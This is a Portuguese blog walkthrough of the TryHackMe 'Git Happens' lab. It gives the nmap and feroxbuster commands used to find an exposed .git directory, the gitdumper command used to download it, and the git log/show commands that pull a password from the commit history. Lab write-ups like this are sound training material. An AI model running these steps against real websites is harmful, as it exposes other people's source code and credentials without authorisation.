Git Happens – THM

Git Happens – THM

Hoje vamos resolver o desafio Git Happens do TryHackme, neste desafio o objetivo é explorar uma vulnerabilidade de exposição de dados sensiveis.

Bom, chega de papo, vamos para ação.

Primero vamos mapear o host para identificar possíveis pontos de entrada.

1. Primeiro vamos mapear as portas abertas no host.

sudo nmap -sSV -Pn 10.10.141.222 -T5 –open

Identificamos a porta 80 – HTTP aberta

http://10.10.141.222/

Sabendo que tem uma aplicação web rodando vamos realizar um mapeamento de arquivos e diretórios.

feroxbuster -u http://10.10.141.222/ -X .git,.env,.txt -w /usr/share/seclists/Discovery/Web-Content/big.txt

Identificamos o diretorio .git publico http://10.10.141.222/.git/

Pesquisando sobre ferramentas de enumeração para .git encontramos o projeto abaixo

https://github.com/internetwache/GitTools

Clonamos o projeto e utilizamos o Dumper

sudo ./gitdumper.sh http://10.10.141.222/.git/ /opt/gitHappens/

conseguimos efetuar o download de todos os arquivos do projeto

adicionamos o diretorio como diretorio git seguro

git config –global –add safe.directory /opt/gitHappens

usando o comando git log, conseguimos ter acesso aos logs

listando as alteracoes

git log | grep ‘commit’ | cut -d ” ” -f2 | xargs git show

git show e56eaa8e29b589976f33d76bc58a0c4dfb9315b1

analisando as alterações encontramos a senha secreta.

E aí, o que achou? deixe seu comentário e me siga nas redes sociais.

Nos vemos no próximo desafio, Até Mais……

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *